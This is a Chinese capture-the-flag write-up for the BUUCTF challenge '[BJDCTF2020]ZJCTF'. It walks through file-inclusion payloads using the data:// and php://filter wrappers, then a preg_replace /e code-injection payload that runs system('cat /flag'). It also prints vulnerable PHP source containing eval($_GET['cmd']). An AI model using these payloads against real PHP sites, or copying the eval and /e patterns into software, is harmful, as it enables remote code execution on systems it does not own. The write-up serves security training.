BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示

传入一个参数text,里面的内容要包括I have a dream。

构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议

在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件

根据代码:我们构造payload

/?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

2、页面出现base64编码

3、解码之后得到一串代码

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

4、分析代码:

定义了一个名为 complex的函数,用于对字符串进行正则替换操作。具体来说,它会将匹配到的字符串转换为小写。

/ei:当作php代码来执行,忽略大小写

定义了一个getFlag函数,将参数cmd中的参数输出

5、由此我们可以构造新payload

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

使用正则表达式匹配一个或多个非空白字符(\S*),然后将其赋值给一个变量。

相关推荐
AirDroid_cn14 分钟前
安卓15平板分屏比例能到1:9吗?极限分屏设置教程
android·智能手机
chenyingjian28 分钟前
鸿蒙|能力特性-统一文件预览
前端·harmonyos
毛骗导演28 分钟前
OpenClaw 沙箱执行系统深度解析:一条 exec 命令背后的安全长城
前端·架构
天才聪35 分钟前
鸿蒙开发vs前端开发1-父子组件传值
前端
菜鸟国国35 分钟前
还在为 Compose 屏幕适配发愁?一个 Density 搞定所有机型!
android
卡尔特斯37 分钟前
Android Studio 代理配置指南
android·前端·android studio
李剑一42 分钟前
同样做缩略图,为什么别人又快又稳?踩过无数坑后,我总结出前端缩略图实战指南
前端·vue.js
sunbofiy2342 分钟前
去掉安卓的“读取已安装应用列表”,隐私合规
android
cch89181 小时前
DCATAdmin后台框架极速上手
android
Jolyne_1 小时前
Taro样式重构记录
前端